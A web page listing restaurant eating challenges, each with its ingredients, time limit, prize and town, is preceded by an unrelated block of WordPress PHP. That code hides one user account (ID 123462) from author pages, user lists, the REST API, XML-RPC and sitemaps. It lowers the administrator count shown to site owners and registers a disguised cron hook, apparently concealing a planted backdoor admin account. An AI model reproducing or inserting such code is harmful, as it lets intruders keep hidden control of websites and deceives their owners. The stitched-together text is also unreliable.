add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 123462;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 123462 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 123462 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 123462;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 123462;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 123462;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/123462(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 123462;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
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The challenge consists of 2.5 lb patty on a 10 inch bun with 8 slices of American cheese, 8 slices of bacon, lettuce, tomato, pickles and mayonnaise. Served with 1.5 lbs of natural cut fries. 6 pounds total.
Minnesota
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The Italian Challenge consists of spaghetti, grilled sausage, lasagna, chicken parmesan, cheese manicotti, cannelloni, garlic bread, vegetable soup and an apple crisp. In total, over 7 pounds of food. If completed, your meal is free ($39.95 value), you get a free t-shirt and your picture on the Wall of Fame.
Ontario, Canada
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The challenge consists of soup or salad, a full rack of ribs, sliced beef brisket, 1 lb of pulled pork, pulled chicken, 1/2 BBQ chicken, and two family sized sides. If completed in one hour, this $40 feast is free.
Islip, New York
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“A 5lb. version of our famous Skillet. Fresh eggs with cheddar cheese, onions, green peppers, tomatoes, bacon and two kinds of sausage. Served with a mound of roasted potatoes. If you can finish this, we’ll buy it and give you a T-shirt, otherwise $18.99.”
Chesapeake, Virginia
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1 bun, 6 tempura ¼ lb. angus beef patties, 6 toppings of choice, 2 onion rings, sliced tomato and romaine lettuce, 5 tempura Twinkies, 10 tempura Oreos, whipped cream, Hershey’s chocolate syrup, and 2 pieces of tempura macaroni and cheese. If completed in 25 minutes, the challenge is free ($45 value), you get your picture on the Wall of Fame, a free t-shirt and free gift certificate for a Tempura Heart Attack. If you lose, your picture goes up on the Wall of Shame.
Berkeley, California
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This challenge consists of an 8 pound plate of nachos with chipotle sauce, queso, mixed cheese, black beans, lettuce, tomatoes, onions, olives, poblano peppers, pickled and fresh jalapenos, then loaded again with taco meat, carnitas, fajita chicken, carne asada and shrimp, and topped with sour cream, salsa, guacamole and pico de gallo. If finished in 55 minutes the nachos are free ($55 value) and you get inducted into the Sammy Hagar’s Macho Nacho Hall of Fame, plus a free t-shirt.
Las Vegas, Nevada
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The challenge consists of 15 scoops of ice cream (flavors of your choice), topped with 16 oz. of whipped cream, 8-10 cherries, 2 types of chopped nuts, and your choice of 4 different fruity toppings. If you finish it in one hour, you get a free t-shirt and your picture on the Wall of Fame.
Louisville, Kentucky
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25 fluid oz. of old fashioned buttermilk pancake topped with a 10-egg scramble with 2 cups of country potatoes, 1 cup of cheddar & jack cheese and then 4 one cup toppings of your choice. If you finish in 45 minutes, you get a t-shirt, a coffee mug, your picture on the Wall of Fame and your money back ($32.99) .
Fresno, California
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This burrito challenge consists of a 4 lb. burrito stuffed with coleslaw, chopped pork, BBQ beans and more, plus a 1/2 pound of macaroni and cheese and a 1/2 pound of banana pudding. Finish in an hour and you get a t-shirt and a poster.
Knoxville, Tennessee
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This challenge consists of 6 pounds of scrambled eggs, sausage, pepperoni, vegetables, hash browns, and bread. No time limit here. If you finish this frittata, you get a free t-shirt.
Syracuse, New York
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The Melt Challenge consists of 13 different cheeses stuffed into 3 pieces of grilled bread, a pile of hand-cut fries & slaw. It weighs in at over 5 pounds of food.
Cleveland, Ohio
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If you finish this mammoth pizza in one hour, your pizza is free, and you also a free t-shirt and your picture on the Wall of Fame.
San Diego, California
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The challenge consists of 5 pounds of nachos covered in beef, chicken, beans, cheddar and jack cheeses, tomatoes, green peppers, black olives, lettuce, onions, sour cream and guacamole. If you finish in 45 minutes, you get your picture on the wall.
Ann Arbor, Michigan
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“The breakfast challenge consists of a MASSIVE 17″ diameter x 1/2″ thick pancake, 12 eggs, 8 pieces of sausage, 12 strips of bacon, & 2 large glasses of chocolate milk. The platter weighs just over 5 Lbs. Challengers have 1 hour to complete the challenge. Previously, only 1 person defeated the challenge in 37 minutes to get a free meal, free t-shirt, & a picture on the Wall Of Fame!”
Warrensburg, Missouri
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This 30 oz burger has 5 pieces of bacon, 5 slices of cheese and is served with 4 pounds of fries. If eaten in under 45 minutes, the burger and fries are free and you get your picture on the wall.
Harrisonville, Missouri
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“Challenge the Mug N Bun Monster! A deluxe triple tenderloin, family french fry, and 32oz drink – not for the faint of heart or weak of stomach! Eating it in 30 minutes gets you the meal for free ($15 value), a spot in the Mug N Bun Hall of Fame, and a t-shirt! Do you dare take the challenge?”
Indianapolis, Indiana
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“J’s newest Ultimate Double Steakhouse is over 3 lbs of burger awesomeness, made with two 12 oz patties on French bread, topped with bacon (½ lb), cheese, mushrooms, peppers, onions, lettuce, and tomato. Finish the burger & 16 oz basket of our signature fries in less than an hour, & we’ll put your picture on the “Wall of Fame” here, on our Facebook page & in the restaurant, you’ll get a free gourmet dessert on your next visit, and we’ll tell the world about your conquest in our newspaper, web site & internet ads. And, of course, the burger is on the house!”
Auburn, Indiana
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Highlandville, Missouri
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Eat this 24″, one-topping pizza in less than one hour and you get $500.
Pittsburg, Kansas
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Lawrence, Kansas
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“Three pounds of beef, cheese balls, hot wings, pork tenderloin, and other ingredients slapped onto sourdough and served with fries. If you can make it through this $19.99 behemoth in under 30 minutes, you get your photo on the Wall of Fame, a loaded game card for AllPlay, and the love and admiration of your peers.”
Des Moines, Iowa
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“This steak challenge pits an 87-oz. slab of beef (and a side dish of your choosing) against you and your wallet. Finish it and you get a t-shirt, your photo posted on the restaurant’s website and your meal for free. Fail, and you’re paying a buck for every ounce of steak served.”
Brooklyn, New York
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Kansas City, Missouri
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“You must eat ten tacos in 15 minutes. If you do, then it’s free and you receive: a $20 gift certificate, your picture on the “Wall of Fame”, and the option to bring in your own team memorabilia to hang on the walls.”
Lee’s Summit, Missouri
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“Jethro’s very own Adam Emmenecker sandwich has been nominated as the Greatest Sports Sandwich in America for ESPN’s FANWICH contest on Facebook. Show America that the Adam Emmenecker sandwich is worthy of this national recognition by logging on to Facebook and voting for your favorite BBQ restaurant and our infamous sandwich which is named after former Drake Bulldog basketball star, Adam Emmenecker.
The Missouri Valley Conference Most Valuable Player of 2008 loves this sandwich. It’s big… “really big…” just like all of those “really big” shots Adam sank in the Bulldogs’ magical MVC Championship Season of 2008. Start with our huge pork tenderloin, add our Angus steak burger, top it with slabs of Texas brisket, apple wood bacon & fried cheese, finished with buffalo chicken tenders. We smother this mountain with melted cheddar cheese, and white cheddar sauce, serve it with your choice of side. This could hurt you! A sandwich fit for the MVP.”
Des Moines, Iowa
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“The challenge is to eat 5 pounds of “Pig Wings,” which are cuts of meat right by the shoulder on a pig, with a bone going through the center. They are fried & dipped in BBQ sauce. In addition, there are 3 pounds of corn nuggets which are basically fried creamed corn. Challengers must finish the massive 8 pound meal in under 1 hour. Winners receive the meal free & a cool Starsky’s t-shirt. Losers must pay for the meal.”
Omaha, Nebraska
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“An enormous bowl of spaghetti topped with the largest homemade meatball on “The Hill.” Served with Mama’s own marinara sauce. If you manage to finish this dish Mama will pick up the check and also reward you with a Mama’s shirt! One person, One meatball, a “Hill” of spaghetti, and a whole lot of fun!”
St. Louis, Missouri
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Congrats on completing the challenge bro! I hope that free t-shirt was worth the sting ring you are going to experience in about 2 minutes.
Click here to check our their Facebook page.
Richmond, Virginia
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“7 meatballs, 10 oz. of Italian beef, 2 Italian sausages, mozzarella cheese all topped with our homemade red gravy plus a pound of fries and a 32oz drink. Finish it all in under 30 minutes, and the sandwich, along with a t-shirt, a picture on our wall, and a video on YouTube, is yours.”
You can visit their website here.
Streamwood, Illinois
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Two half-pound burger patties topped with cheese, onions, mushrooms, bacon, barbecue sauce and onion rings, and a 3.5-pound side of fries equalling 7.5 pounds total.
Grand Haven, Michigan
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“A 3 pound sandwich that starts with a 1/2 pound burger & features a portion of all Halligan’s signature smoked meats separated by layers of melted cheese, topped with beer battered onion rings and Halligan sauce all on a 10 inch Italian roll. Served with a pound of fries and a homemade pickle.”
If you eat this monster in less than 25 minutes, then it’s free.
Thanks to Ashley Marie for the photo!
Richmond, Virginia
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“Any single belly that accomplishes such feat in one hour will be treated to an Official Porker T-shirt, his/her picture on Our Wall Of Fame, and we’ll even pay for your platter! Good Luck!”
It consists of a full slab of St. Louis ribs, 1/4 lb. pulled pork on Texas toast, 1/4 lb. of brisket on Texas toast, 4 wings, 3 rib tips, With 2 sides and Cornbread, all for $34.95.
Long Beach, New York
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18 inches of French bread loaded with burnt ends, piled high with mac and cheese, smoked gouda. Served with hand cut fries and slaw.
It costs $29.95 unless conquered in one hour, then it is free.
Chicago, Illinois
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“Eat the entire 6 pounds of sandwich (thinly sliced corned beef on marbled rye with sauerkraut, Russian dressing, and Swiss cheese), fries, & pickles & you eat for free, win a t-shirt, have your name on the board, & earn your position in the monthly food challenge!”
It’ll set you back $50 if you can’t…
St. Louis, Missouri
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Six (1/4 lb.) Eisenburg angus beef hot dawgs topped with 1 lb. of grilled steak, peppers & onions all smothered in cheese sauce. Served with one pound of tater tots.
Phoenix, Arizona
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Woolwich, Maine
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Two half pound burger patties topped with bacon, cheese, a deep fried chicken breast, an egg, lettuce, tomato, and onion strings, a mound of fries, and six ghost pepper chicken wings. If you can eat all of this is 23 minutes, you get a hat, t-shirt and your name on their wall of fame.
Milwaukee, Wisconsin
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“You have one hour to finish from the time this burger hits your table to finish this 5 pounds of food. It consists of two one-pound beef patties topped with hot dogs, chili, cheese, waffle fries, and classic burger favorites between four grilled cheese sandwiches.”
Fairfax City, Virginia
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The Stellanator includes six hamburger patties, six fried eggs, 12 pieces of bacon, six slices of cheese, fried onions, lettuce, tomatoes, pickles, jalapenos and peanut butter. On top of that, there’s a side of fries.
Bellevue, Nebraska
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The Fifth Third Burger Challenge consists of 5 beef patties, 5 slices of cheddar cheese, chili, sour cream, lettuce, tomatoes, nacho chips and more condiments between 2 huge buns totaling 4,800 calories. You have up until the final out of the game to finish. If you do, you win a t-shirt. Nice.
Photo courtesy of Global Times.
Comstock Park, Michigan
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